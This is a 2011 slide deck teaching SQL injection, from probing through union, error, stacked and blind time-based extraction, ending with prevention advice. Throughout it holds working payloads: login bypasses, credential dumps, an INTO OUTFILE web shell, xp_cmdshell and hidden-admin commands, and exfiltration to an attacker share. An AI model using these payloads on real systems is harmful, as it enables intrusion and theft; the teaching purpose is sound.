Not so blind SQL injectionFrancisco G. T. Ribeiro, 2011
1
Roadmap• Intro
• Anatomy
• Flavors
• Demo
• Developer Warnings
• Prevention and Countermeasures
2
What’s on the news today?
• Mobile Security
• Cyber Warfare
• Security in the cloud
3
time weapons
<XIII
<1980
<2030
...future
bows and arrows
cannons and explosives
keyboards and mice
stones and sticks
Weapons of War
4
While you travel in the clouds in a galaxy close, close by...
5
Somebody has been having WAY too much fun!
6
World Wide Web
7
targets on the web
• Web server infrastructure
• Web application
• Web clients
8
The Open Web Application Security Project
9
OWASP Top 10 Web Application Security risks for 2010
10
risk of SQL Injection in web apps
Exposition
Impact
Ease of exploitation
HIGH
HIGH
AVERAGE
11
SQL Injection:WTF?
true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()), pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(), pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass)))
12
SQL Injection:#01 - Bobby Tables
SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);
13
SQL Injection:#01 - Bobby Tables
Robert’); DROP Table Students;--
SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);
I’ll be back...14
SQL Injection:#01 - Bobby Tables
Prefix
Robert’); DROP Table Students;--
SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);
I’ll be back...14
SQL Injection:#01 - Bobby Tables
Prefix
Robert’); DROP Table Students;--
Payload
SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);
I’ll be back...14
SQL Injection:#01 - Bobby Tables
Prefix
Robert’); DROP Table Students;--
Payload Suffix
SELECT (user,first_name,last_name)FROM StudentsWHERE (user == ’$user’);
I’ll be back...14
SQL Injection: probing - baby steps
• ‘
• “
• %
• ;--
• -123
• 19243890184023408912908348902390412301923
• #
• /**/
• )
15
Developer Warning #01
Database Results ErrorDescription: Erro de sintaxe na expressão de consulta '(Titulo LIKE '%'%' OR Descricao LIKE '%'%')'.Number: -2142216900 (0x81041E14)Source: Microsoft JET Database Engine
ERROR [TP-Processor14] portal.ExceptionHelper.[] Aug/11 22:57:06 - org.jasig.portal.PortalException: java.sql.SQLException: ORA-00933: SQL command not properly ended
Received an exception:Error: SQLException java.sql.SQLException: ORA-01756: quoted string not properly terminated
handle error messages properly
16
What flavors?
• Inband (Reflected)
• Out-of-band
• Inferential (Blind)
17
SQL Injection:the claws
• groundspeed (Firefox extension)
• Tamper Data (Firefox extension)
• Firebug (Firefox extension)
• Hackbar (Firefox extension)
• Hacker Firefox
18
Developer Warning #02Validate your inputs
do not trust in code executed in the Client side
validation should be done Server side
My name is Mohammed JaLaScript and I swear
I’m innocent!
19
SQL Injection:the blades
• sqlmap
• sqlbrute
• absinthe
• BSQLBD
• bsqlishell
• sqlninja
• sql power injector
20
SQL Injection:the shotguns
• burp suite
• Netsparker
• WebInspect
• Acunetix Web Vulnerability Scanner
• Webscarab
• w3af
21
SQL Injection:the dojos
• OWASP webgoat
• Hacme series from Foundstone
• Damn Vulnerable Web App
• BadStore
• Multillidae
22
what can you do with SQL injection?
• information disclosure
• authentication bypass
• execute remote commands
• data corruption
• denial of service
• remote file inclusion
• cross site scripting
• DNS hijacking
• massive malware diffusion
• privilege escalation
23
Authentication bypass#02 - RitsBlog
http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1
In jobs.php: if ($_GET[j] == "login"){
if ($blog -> login($_GET[p])){$_SESSION[loggedin] = "ok";$_SESSION[userID] = $blog -> userID;echo "Password found. Loging in...";...
In ritsBlogAdmin.class.php: function login($password){
global $db;$sql = "select * from users where secretWord = '$password'";...
}
24
Tautology basedSQL injection
• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• having 1=1
• Group By ID having 1=1
• a very big number
• ...
25
Authentication bypass #03 - CS Cart (cookies)
In /core/user.php:
if (fn_get_cookie(AREA_NAME . '_user_id')) {$udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users] WHERE user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'
AND password='".fn_get_cookie(AREA_NAME . '_password')."'"); fn_define('LOGGED_VIA_COOKIE', true);}
Cookie:cs_cookies[customer_user_id]=1'/*;
26
Malware Inclusion#04 - United Nations
<option value="index.asp?OrgID=71">Department of Peacekeeping Ope<script src=http://www.nihaorr1.com/1.js></script></option>
27
One browser, many holes
28
One browser, many holes • JavaScript
• Flash
• Java
• Silverlight
• ActiveX
• HTML 4
• HTML 5
• RDF
• WebDAV
• SOAP
• Images
• Shockwave
• CSS
• Realplayer
• h.264/MPEG/AVI/WMV
• SVG
• browser extensions
• bookmarklets
• FTP/SFTP client
• SAMBA client
• widgets crazyness
• RSS/ATOM
• RTF
• AJAX
• download manager
• keychain manager
• file manager
• mail client
• XML non sense
28
Data corruption#05 - PBS.org defacement
(fake Tupac article)
29
What channelsallow SQL Injection?
30
What channelsallow SQL Injection?
30
What channels allow SQL Injection?
31
What channels allow SQL Injection?
• HTTP methods GET/POST
• HTTP headers
• AJAX
• JSON
• XML
• SOAP
• Cookies
• ...
31
-7 UNION SELECT 1,2,version(),4,user(),database(),7,8,9,10,11,12,13
Union based#06 - juventud.gov.ar
32
-7 UNION SELECT 1,2,version(),4,user(),database(),7,8,9,10,11,12,13
Union based#06 - juventud.gov.ar
32
Union based#06 - juventud.gov.ar
32
Union basedSQL Injection - dirty tricks
http://example/index.php?id=1 ORDER BY 1--http://example/index.php?id=1 ORDER BY 2-- http://example/index.php?id=1 ORDER BY 3-- http://example/index.php?id=1 ORDER BY 4-- http://example/index.php?id=1 ORDER BY 5-- http://example/index.php?id=1 ORDER BY 6-- ...
getting the number of columns in the selection
33
Union basedSQL Injection - dirty tricksMySQL:Unknown column 'NUM' in 'order clause'
PostgreSQL:ORDER BY position NUM is not in select list
Microsoft SQL Server:The ORDER BY position number NUM is out of range of the number of items in the select list
Oracle:ORA-01785: ORDER BY item must be the number of a SELECT-list expression
34
Union basedSQL Injection - dirty tricks
• 1 UNION select 1,’2’,3,’4’,5,6,7,8
• -1 UNION select 1,2,version(),4,user(),database(),7,8
• -1 UNION ALL select NULL,NULL,version(),NULL,user(),database(),NULL,NULL
• -1 UNION ALL select NULL,NULL,NULL,NULL, NULL,UNHEX(HEX(version())),NULL,NULL--
MySQL
avoid distinct
selections
avoid collations conflicts
isolate contents
avoid extra SQL mess
testing datatypes string/int
35
Union basedSQL Injection - dirty tricks
• -1 UNION ALL select 1,2,table_name from information_schema.tables
• -1 UNION ALL select NULL,NULL,table_name from information_schema.tables
• -1 UNION ALL select 1,2,column_name from information_schema.columns limit 0,1
limit 1,1limit 2,1
MySQL
avoid incompatible
types
avoid single record view restriction
you may also try group_concat() for multiple rows
as a string36
Union basedSQL Injection - dirty tricks
• -7 union all select 1,2,concat(username,0x3a,password)from admin/*
• -7 union all select 1,2 concat(user,0x3a,pass,0x3a,email) from users/*
MySQL
concat is your friend
37
Developer Warning #03
SELECT/**/password/**/FROM/**/Members
SELECT+password+FROM+Members
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
SeLeCt
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
filtering and blacklisting are weak
strings without white spaces
blacklisted words
these count as SELECT too!
string without quotes
38
Developer Warning #04filtering and blacklisting are weak
• ModSecurity
• PHPIDS
• GreenSQL
• ... suggested reading:SQLi filter evasion and obfuscation
by Johannes Dahse, Prague, Czech Republic
You’re the weak!
39
Error basedSQL Injection
• http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))--
Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))--
Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))--
Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int.
SQL Server
40
Error basedSQL Injection - dirty tricks
• http://[site]/page.asp?id=convert(int,(select top 1 name from sysobjects where xtype=char(85)))--
Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1'))--
Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1' and name <>'TABLE-NAME-2'))--
Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.
SQL Serveravoid quote filtering
avoid single record view restriction
41
Error basedSQL Injection
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))--
Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.
SQL Server
knowing DB_NAME and TABLE-NAME...
...
42
Stacked StatementsSQL Injection
• z'; UPDATE Login SET PasswordHash ='0fa5fed80fc582282430f9a79cb2669e', Salt = 'Daniels' WHERE login = 'BigCatAccount'--
• y'; UPDATE Login SET ProfileID = 1 WHERE login = 'MyAccount' --
• z'; UPDATE Login SET EmailAddr ='[email protected]' WHERE login = 'BigCatAccount'--
Bypassing authentication and escalating privileges(schema/DBMS dependant)
Jack
43
Stacked StatementsSQL Injection
Bypassing authentication and escalating privileges(schema/DBMS dependant)
suggested reading:Advanced SQL Injection
by Joe McCray, Learn Security Online
43
Second OrderSQL Injection
injection doesn’t occur at the same time of execution
PHP Basic Schoolstudent registration form
‣ User:
‣ Birthday:
‣ Phone:
‣ Email:
Robert’); DROP TABLE Students;--
11/02/87
931231631
bobby’); DROP TABLE google_emails;[email protected]
44
Second OrderSQL Injectioninjection doesn’t occur
here, yet..
user Robert’); DROP TABLE Students;-- successfully created!
registration successful
45
SQL Injection:#01 - Bobby Tables
SELECT (user,first_name,last_name)FROM Students WHERE (user == ’$user’);
told ya.
there goes
listing students
46
SQL Injection:#01 - Bobby Tables
SELECT (user,first_name,last_name)FROM Students WHERE (user == ’$user’);
told ya.
there goes
suggested reading:Advanced SQL Injection In SQL Server Applications
Chris Anley, NGSSoftware
listing students
46
Remote command execution
• '; exec master..xp_cmdshell 'ping 192.168.1.8'--
tcpdump icmp
• UNION SELECT 0x3c3f2073797374656d28245f4745545b27636d64275d293b203f3e,2,3 INTO OUTFILE "/var/www/cmd.php" --
”<? system($_GET['cmd']); ?>"
(DBMS dependent)
47
Remote command execution
net user [USER] [Pass] /add &net Localgroup Administrators [USER] /add &net group "Domain Admins" [USER] /add &net localgroup "Remote Desktop Users" [USER] /add ® add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v [USER] /t REG_DWORD /d 0
(DBMS dependent)
47
Remote command execution
• Bruteforce the 'sa' password and escalate privileges using local or remote server CPU!
• Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound
• Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it
• Disable DEP, if needed!
• Start the executable, inject the DLL and have fun!
48
Remote command execution
• Bruteforce the 'sa' password and escalate privileges using local or remote server CPU!
• Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound
• Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it
• Disable DEP, if needed!
• Start the executable, inject the DLL and have fun!
suggested reading:Building the bridge between the
web app and the OS:“GUI access through SQL Injection”,
Alberto Revelli,Portcullis Computer Security
48
information disclosure/bypassing authentication
• select user,pass into outfile ‘\\\\attacker_share\\output.txt’ from users;
• select load_file(‘/etc/passwd’)
(DBMS dependent)
49
Developer Warning #05
I’m root so I MUST be the King!
least privilege, user segregation
50
Blind SQL Injection
• (In)visibility testing
• time delay
51
Blind SQL Injection
• (In)visibility testing
• time delay
51
Blind SQL Injection
• http://[site]/news.php?id=112
• http://[site]/news.php?id=112 and 1=2
• http://[site]/news.php?id=112 and 1=1
• http://[site]/news.php?id=112 and IF(XXX)
(In)visibility testing
52
Blind SQL Injection
• http://[site]/news.php?id=112; IF(XXX) BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))--
• http://[site]/news.php?id=112; IF(XXX) SLEEP(5)--
• http://[site]/news.php?id=112; IF(XXX) WAITFOR DELAY ‘0:0:5’--
Time delay
MySQL v5:
MySQL v4:
Microsoft SQL Server:
53
Blind SQL Injection
• ;IF(LEN(DB_NAME())=1) WAITFOR DELAY '0:0:5'--
• ;IF(LEN(DB_NAME())=2) WAITFOR DELAY '0:0:5'--
• ;IF(LEN(DB_NAME())=3) WAITFOR DELAY '0:0:5'--
• ;IF(LEN(DB_NAME())=4) WAITFOR DELAY '0:0:5'--
• ;IF(LEN(DB_NAME())=5) WAITFOR DELAY '0:0:5'--
getting DB_NAME() length
54
Blind SQL Injection
;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'--
getting DB_NAME()
sql query
55
Blind SQL Injection
;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'--
SUBSTRING ( value_expression , start_expression , length_expression )
getting DB_NAME()
sql query
55
Blind SQL Injection
;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- =49
=50=...=122
1
SUBSTRING ( value_expression , start_expression , length_expression )
getting DB_NAME()
sql query
55
Blind SQL Injection
;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- =49
=50=...=122
23.N
LEN(DB_NAME())
12
SUBSTRING ( value_expression , start_expression , length_expression )
getting DB_NAME()
position in string
position in ASCII table
sql query
55
Blind SQL Injection
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>97) WAITFOR DELAY '0:0:5'-- >110
>105=106=...
23.N
LEN(DB_NAME())
12
getting DB_NAME()
optimization 1optimization 2
=109
56
Blind SQL Injection
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>94) WAITFOR DELAY '0:0:5'-- <110
<105=106=...
23.N
12
getting DB_NAME()
splitting target domain by 2
(think of quicksort)
=109
prioritize most frequent chunks of ASCII table in the target language
57
Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'--
• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE-NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'--
...
listing table names
58
Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'--
• ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE-NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'--
12
12
...
listing table names
58
Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'--
• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME' AND column_name <> ‘COLUMN-NAME-1’),1,1)))=117) WAITFOR DELAY '0:0:5'--
...
listing column names (or any other table)
59
Blind SQL Injection• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'--
• ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME' AND column_name <> ‘COLUMN-NAME-1’),1,1)))=117) WAITFOR DELAY '0:0:5'--
12
1
2
...
listing column names (or any other table)
row
table
field denial
59
Blind SQL Injectionwith Regular Expressions• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)
MySQL - listing table names
60
Blind SQL Injectionwith Regular Expressions
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1)
The first character of the table is 'n'. But are there other table names starting with 'n'?
that’s our move
61
Blind SQL Injectionwith Regular Expressions
now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
FALSE
you can confirm by testing: '^news$'
62
Blind SQL Injectionwith Regular Expressions
suggested reading:Blind Sql Injection with Regular
Expressions Attack,R00T_ATI & white_sheep,
IHTeam
now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
FALSE
you can confirm by testing: '^news$'
62
Deep Blind SQL Injection
DECLARE @x as int; DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST(QUERY"as varbinary(8000))),POSITION",1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w
2 requests -> one byte
63
Deep Blind SQL Injection
DECLARE @x as int; DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST(QUERY"as varbinary(8000))),POSITION",1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w suggested reading:
Deep Blind SQL Injection,Ferruh Mavituna,
Portcullis Computer Security
2 requests -> one byte
63
Deep Blind SQL Injection
SQL Server2 requests -> one byte (avg <6 secs)
SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) <94! THEN WAITFOR DELAY '0:0:6' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <100 ! THEN WAITFOR DELAY '0:0:1' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <105 ! THEN WAITFOR DELAY '0:0:2' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <111 ! THEN WAITFOR DELAY '0:0:3' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <117! THEN WAITFOR DELAY '0:0:4' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) <123! THEN WAITFOR DELAY '0:0:5' --
higher frequencysmaller delays
64
Deep Blind SQL Injection
SQL Server2 requests -> one byte (avg <6 secs)
SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) =100! THEN WAITFOR DELAY '0:0:1' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =101 ! THEN WAITFOR DELAY '0:0:2' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =102 ! THEN WAITFOR DELAY '0:0:3' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =103 ! THEN WAITFOR DELAY '0:0:4' --WHEN ASCII(lower(substring((SQL Query), Position, 1))) =104! THEN WAITFOR DELAY '0:0:5' --
knowing it’s in range 100:104...
65
SQL injection techniques
• Stacked statements
• Tautology based
• Union based
• Error based
• Second Order
• Blind
66
SQL injection techniques
• Stacked statements
• Tautology based
• Union based
• Error based
• Second Order
• Blind
suggested reading:SQL Injection,
Classification of SQL Injection Attacking Vector, till 2010,
Wikipedia
66
Developer Warning #06ORMs are not bulletproof
Payment payment = (Payment) session.find("from com.example.Payment as payment where payment.id = " + paymentIds.get(i));
Hibernate (HDL):
injectable!
67
Developer Warning #07Keep it simple, not stupid
68
SQL injection: countermeasures
• avoid internal details on error reporting
• Use Web Applicational Firewall
• Limit web server/database perms
• segregate users
• use No-SQL
69
Developer Warning #08when less is more
70
How to prevent SQL Injection attacks?
• Sanitize the input
• input whitelisting
• Use prepared statements
• Use stored procedures
71
Prepared Statements akaParameterized queries (Java)
String sqlquery = "select * from Students where FirstName " + "in(?,?,?)";
pst = con.prepareStatement(sqlquery);
pst.setString(1, "John"); pst.setString(2, "Achmed"); pst.setString(3, "Gremlin");
rs = pst.executeQuery();
72
References• SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech
Republic
• Advanced SQL Injection by Joe McCray, Learn Security Online
• Advanced SQL Injection In SQL Server Applications, Chris Anley, NGSSoftware
• Building the bridge between the web app and the “GUI access through SQL Injection”,Alberto Revelli, Portcullis Computer Security
• Blind Sql Injection with Regular Expressions Attack, R00T_ATI & white_sheep, IHTeam
• Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security
73
References• SQL Injection, Classification of SQL Injection Attacking
Vector, till 2010, Wikipedia
• www.evilsql.com
• Replaying with Blind SQL Injection, Chema Alonso and Palako
• Haxxor Security: Speeding up Blind SQL Injection using Conditional errors in MySQL
• The Web Application Hackers Handbook, Discovering and Exploiting Security Flaws, Wiley
74
Thank youchildish wont-let-go nickname: blackthorne
blackthorne (geek) bthorne_daily (social)
[email protected] (PGP key: 0xBDD20CF1)
http://www.digitalloft.org (homepage)
75